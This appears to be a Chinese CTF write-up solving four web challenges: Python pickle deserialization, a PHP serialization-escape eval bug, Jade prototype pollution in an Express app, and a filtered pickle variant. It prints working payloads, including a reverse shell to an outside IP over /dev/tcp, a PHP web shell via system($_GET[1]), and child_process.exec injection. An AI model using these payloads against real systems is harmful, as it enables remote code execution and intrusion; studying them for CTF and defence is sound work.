自己没打,但是朋友提了两嘴就去看了一下,题目还挺有意思,学习一下
myfavorPython
注册账户后进入一个页面,能够进行python反序列化,需要提交base64的payload。
python反序列化想到pickle,直接打pickle的payload就好了
有现成的就不想写reduce版本的了,如下:
1 2 3 4 5 6 7 8 opcode=b'''(S'bash -c "bash -i >& /dev/tcp/106.52.94.23/2333 0>&1"' ios system .''' import base64r = base64.b64encode(opcode) print (r)
反弹shell后flag在当前目录下的flag.txt,shell有点不稳定,所以要尽快操作
简单看扒一下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 import base64import ioimport osimport pickleimport pickletoolsimport sysfrom flask import Flask, render_template, request, redirect, url_for, sessionfrom flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_userapp = Flask(__name__) app.secret_key = 'welcome_to_here' login_manager = LoginManager() login_manager.init_app(app) login_manager.login_view = 'login' class User (UserMixin ): def __init__ (self, id ): self.id = id users = {'user_id' : {'password' : 'user_password' , 'role' : 'user' }, 'admin_id' : {'password' : 'asdfghjkl' , 'role' : 'admin' }} @login_manager.user_loader def load_user (user_id ): return User(user_id) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] user_data = users.get(username) if user_data and user_data.get('password' ) == password: user = User(username) login_user(user) session['role' ] = 'admin' if username == 'admin_id' else 'user' return render_template('index.html' ) return render_template('login.html' ) @app.route('/logout' ) @login_required def logout (): logout_user() session.pop('role' , None ) return redirect(url_for('login' )) @app.route('/' , methods=['GET' , 'POST' ] ) @login_required def index (): results = "" if request.method == 'POST' : a = request.form['text' ] output = io.StringIO() try : decoded_data = base64.b64decode(a) pickle.loads(decoded_data) with io.StringIO() as file: old_stdout = sys.stdout sys.stdout = file try : pickletools.dis(decoded_data) finally : sys.stdout = old_stdout results = file.getvalue() except Exception as e: results = str (e) return render_template('index.html' , results=results) else : return render_template('index.html' ) @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] if username in users: return "用户名已存在,请选择其他用户名" users[username] = {'password' : password, 'role' : 'user' } user = User(username) login_user(user) return redirect(url_for('index' )) return render_template('register.html' ) if __name__ == '__main__' : app.config['SESSION_COOKIE_NAME' ] = 'session' app.run(host='0.0.0.0' , port=5000 ,debug=True )
根据源码反推过程,开了debug模式,我们也可以利用异常带出:
1 2 3 4 5 6 7 opcode = b'''(S'raise Exception(__import__('os').popen('whoami').read())' i__builtin__ exec .''' data = base64.b64encode(opcode) print (data)print (base64.b64decode(data))
逃跑大师
一眼顶针,鉴定为php反序列化逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php highlight_file (__FILE__ );error_reporting (0 );function substrstr ($data ) { $start = mb_strpos ($data , "[" ); $end = mb_strpos ($data , "]" ); return mb_substr ($data , $start , $end + 1 - $start ); } class A { public $A ; public $B = "HELLO" ; public $C = "!!!" ; public function __construct ($A ) { $this ->A = $A ; } public function __destruct ( ) { $key = substrstr ($this ->B . "[welcome sdpcsec" .$this ->C . "]" ); echo $key ; eval ($key ); } } if (isset ($_POST ['escape' ])) { $Class = new A ($_POST ['escape' ]); $Key = serialize ($Class ); $K = str_replace ("SDPCSEC" , "SanDieg0" , $Key ); unserialize ($K ); } else { echo "nonono" ; }
将SDPCSEC
变成了SanDieg0
,多了一个字符
现在看一下问题所在,自定义的substrstr
函数:
1 2 3 4 5 6 function substrstr ($data ) { $start = mb_strpos ($data , "[" ); $end = mb_strpos ($data , "]" ); return mb_substr ($data , $start , $end + 1 - $start ); }
我们可以控制B和C,再看mb_substr
这里建议翻菜鸟教程对函数的解读,它提及了一点,如果length是负数,就会从字符串的末端返回,如下图:
这里除去了从末尾开始计数的2个字符,所以我们能不能根据这个特点来截取到我们想要的字符呢
1 substrstr ($this ->B . "[welcome sdpcsec" .$this ->C . "]" );
这里B和C我们是可以控制的,要想控制length为负数很简单,只需要end+1-start
小于0,那将B设置为]
,end=0
,那长度就是1-start
,start就是[welcome sdpcsec的这个[
,所以B填充多一些垃圾内容,就能够变成负数的length
问题是payload放B还是放C呢?
如果放C,那start一定是从B里面选或者从[welcome...
来选,无论截取的长度为多少,一定会截取到welcome sdpcsec
这个垃圾数据,所以只能够放B里
放B里,通过从后往前截取就能截取到我们想要的payload
那整个字符串就变成了
1 ]xx[system('ls')];[welcome sdpcsec]
但是新的问题就是无论如何我们都会截取到这个[]
,那要怎么办呢?
其实不用担心,因为在php反序列化里有过一个利用数组调用类函数的操作,具体咋样我忘了T_T,忘记记录下来了,总之就是通过一个数组调用
也就是说这样也是可以调用的
所以payload就不用管了,还是这样
1 ]xx[system('ls')];[welcome sdpcsec]
那中间要加多少个x呢?
先看一下length变成了1-start,截取到-19,所以+19个x:
不对,少了两个,所以减少两个x:
这样就OK了
接下来来序列化整个数据,做逃逸:
1 O:1:"A":3:{s:1:"A";s:3:"111";s:1:"B";s:5:"HELLO";s:1:"C";s:3:"!!!";}
大概长这样,我们要对A进行逃逸,结果就长这样:
1 O:1:"A":3:{s:1:"A";s:3:"111";s:1:"B";s:33:"]xxxxxxxxxxxxxxxxx[system('ls')];";s:1:"C";s:0:"";}
我们原本的结果长
1 O:1:"A":3:{s:1:"A";s:3:"111";s:1:"B";s:5:"HELLO";s:1:"C";s:3:"!!!";}
要逃逸就变成:
1 O:1:"A":3:{s:1:"A";s:3:"111";s:1:"B";s:33:"]xxxxxxxxxxxxxxxxx[system('ls')];";s:1:"C";s:0:"";}“";s:1:"B";s:5:"HELLO";s:1:"C";s:3:"!!!";}
1 ";s:1:"B";s:33:"]xxxxxxxxxxxxxxxxx[system('ls')];";s:1:"C";s:0:"";}”
长度为68,多加68个SDPCSEC:
payload 长这样
1 SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:33:"]xxxxxxxxxxxxxxxxx[system(\'ls\')];";s:1:"C";s:0:"";}"
逃逸后的payload长这样:
1 O:1:"A":3:{s:1:"A";s:544:"SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0";s:1:"B";s:33:"]xxxxxxxxxxxxxxxxx[system('ls')];";s:1:"C";s:0:"";}"";s:1:"B";s:5:"HELLO";s:1:"C";s:0:"";}
写个shell吧,不然每次都要手搓,太累了
1 ";s:1:"B";s:38:"]xxxxxxxxxxxxxxxxx[system(\$_GET[1])];";s:1:"C";s:0:"";}"
这里的反斜杠算一个字符,所以删掉一个SDPCSEC和反斜杠
1 SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:38:"]xxxxxxxxxxxxxxxxx[system(\$_GET[1])];";s:1:"C";s:0:"";}"
记得把反斜杠删掉,变成:
1 ";s:1:"B";s:37:"]xxxxxxxxxxxxxxxxx[system($_GET[1])];";s:1:"C";s:0:"";}"
1 escape=SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:37:"]xxxxxxxxxxxxxxxxx[system($_GET[1])];";s:1:"C";s:0:"";}"
Ezzz_proto
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 const express = require ('express' );const lodash = require ('lodash' );const path = require ('path' );var bodyParser = require ('body-parser' );const app = express ();var router = express.Router ();app.set ('view engine' , 'jade' ); app.set ('views' , path.join (__dirname, 'views' )); app.use (bodyParser.json ({ extended : true })); app.get ('/' ,function (req, res ) { res.send ('Hello World' ); }) app.post ('/post' ,function (req, res ) { function merge (target, source ) { for (let key in source) { if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } } var malicious_payload = JSON .stringify (req.body ); var body = JSON .parse (JSON .stringify (req.body )); var a = {}; merge (a, JSON .parse (malicious_payload)); console .log (a.name ); res.render ('index.jade' , { title : 'HTML' , name : a.name || '' }); }) app.listen (1113 , () => console .log ('Example app listening on port http://127.0.0.1:1113 !' ))
POST路由有merge函数进行原型链污染,可以看到index.jade
,所以可以去搜索jade原型链污染:
jade原型链污染rce分析_jade 原型链污染-CSDN博客
1 2 3 4 5 {"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require('child_process').exec('calc')//"}} {"__proto__":{"self":1,"line":"global.process.mainModule.require('child_process').exec('calc')"}}
本地打打不通,所以得看它的原理(需要force step into)
跟着这篇文章分析:
入口在res.render
1 2 3 4 res.render ('index.jade' , { title : 'HTML' , name : a.name || '' });
跟踪到tryRender
,到view
的render方法
进到view.render查看:
进入到this.engine
,跟进exports.__express
里的exports.renderFile
,返回值有个处理模板缓存的函数,跟进,这里不能够debug了,只能手动跟进
返回的templ由exports.compile返回,跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 exports .compile = function (str, options ){ var options = options || {} , filename = options.filename ? utils.stringify (options.filename ) : 'undefined' , fn; str = String (str); var parsed = parse (str, options); if (options.compileDebug !== false ) { fn = [ 'var jade_debug = [ new jade.DebugItem( 1, ' + filename + ' ) ];' , 'try {' , parsed.body , '} catch (err) {' , ' jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno' + (options.compileDebug === true ? ',' + utils.stringify (str) : '' ) + ');' , '}' ].join ('\n' ); } else { fn = parsed.body ; } fn = new Function ('locals, jade' , fn) var res = function (locals ){ return fn (locals, Object .create (runtime)) }; if (options.client ) { res.toString = function ( ) { var err = new Error ('The `client` option is deprecated, use the `jade.compileClient` method instead' ); err.name = 'Warning' ; console .error (err.stack || err.message ); return exports .compileClient (str, options); }; } res.dependencies = parsed.dependencies ; return res; };
简单讲一下逻辑
前面获取到options和str,parsed由parse(str, options);
返回,检查是否开启debug模式,如果开启将fn赋值成一个东西,没开启的话就变成parsed.body,所以这个parsed.body
还是挺重要的,有可能可以打rce
后面就是给fn创建一个函数,调用fn自己。res能够调用fn函数,所以如果能调用res就能够调用fn
前面处理缓存的时候返回的是function()()
的形式,相当于第一次返回的是函数,再调用返回的函数。所以res能够被调用,关键点在于parsed.body
跟进parse
,写注释里了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 function parse (str, options ){ if (options.lexer ) { console .warn ('Using `lexer` as a local in render() is deprecated and ' + 'will be interpreted as an option in Jade 2.0.0' ); } var parser = new (options.parser || Parser )(str, options.filename , options); var tokens; try { tokens = parser.parse (); } catch (err) { parser = parser.context (); runtime.rethrow (err, parser.filename , parser.lexer .lineno , parser.input ); } var compiler = new (options.compiler || Compiler )(tokens, options); var js; try { js = compiler.compile (); } catch (err) { if (err.line && (err.filename || !options.filename )) { runtime.rethrow (err, err.filename , err.line , parser.input ); } else { if (err instanceof Error ) { err.message += '\n\nPlease report this entire error and stack trace to https://github.com/jadejs/jade/issues' ; } throw err; } } if (options.debug ) { console .error ('\nCompiled Function:\n\n\u001b[90m%s\u001b[0m' , js.replace (/^/gm , ' ' )); } var globals = []; if (options.globals ) { globals = options.globals .slice (); } globals.push ('jade' ); globals.push ('jade_mixins' ); globals.push ('jade_interp' ); globals.push ('jade_debug' ); globals.push ('buf' ); var body = '' + 'var buf = [];\n' + 'var jade_mixins = {};\n' + 'var jade_interp;\n' + (options.self ? 'var self = locals || {};\n' + js : addWith ('locals || {}' , '\n' + js, globals)) + ';' + 'return buf.join("");' ; return {body : body, dependencies : parser.dependencies }; }
所以无论self是true还是false,都会拼接js进去,js又成关键了
跟进compiler.compile()
这里进入之后就能看到和平时的不同
前面的还是一样:
1 2 3 this .buf = []; if (this .pp ) this .buf .push ("var jade_indent = [];" ); this .lastBufferedIdx = -1 ;
这里就是不同之处了,调用的是visitCode
之前调的是visit
跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 visitCode : function (code ){ if (code.buffer ) { var val = code.val .trim (); val = 'null == (jade_interp = ' +val+') ? "" : jade_interp' ; if (code.escape ) val = 'jade.escape(' + val + ')' ; this .bufferExpression (val); } else { this .buf .push (code.val ); } if (code.block ) { if (!code.buffer ) this .buf .push ('{' ); this .visit (code.block ); if (!code.buffer ) this .buf .push ('}' ); } },
这里拼接的是val这个变量了,如果code.val没有的话,就可以直接污染,那就是污染val这个值即可
前面还要污染compileDebug和self,详见前面的分析过程
payload将line改成val即可,无回显可以反弹shell:
1 {"__proto__":{"self":1,"val":"global.process.mainModule.require('child_process').exec('calc')"}}
payload:
1 {"__proto__":{"self":1,"val":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/106.52.94.23/2333 0>&1\"')"}}
Python-revenge
大同小异,只不过将debug模式关了,然后重新限制了一些东西
1 2 3 4 5 6 if b'before' in decoded_data or b'after' in decoded_data: results = "不可以添加函数!" return render_template("index.html" ,results=results) elif b'static' in decoded_data or b'>' in decoded_data or b'|' in decoded_data or b'/' in decoded_data or b'template' in decoded_data: results = "不能写文件嗷!" return render_template("index.html" ,results=results)
这两个waf怎么绕呢,题目环境还是不出网的
不出网,无debug模式,还要rce,那不就到我们的内存马登场了吗?
所以这里才限制了before和after,因为内存马有before_request
和after_request
那简单,换用error_handler即可:
payload前面文章有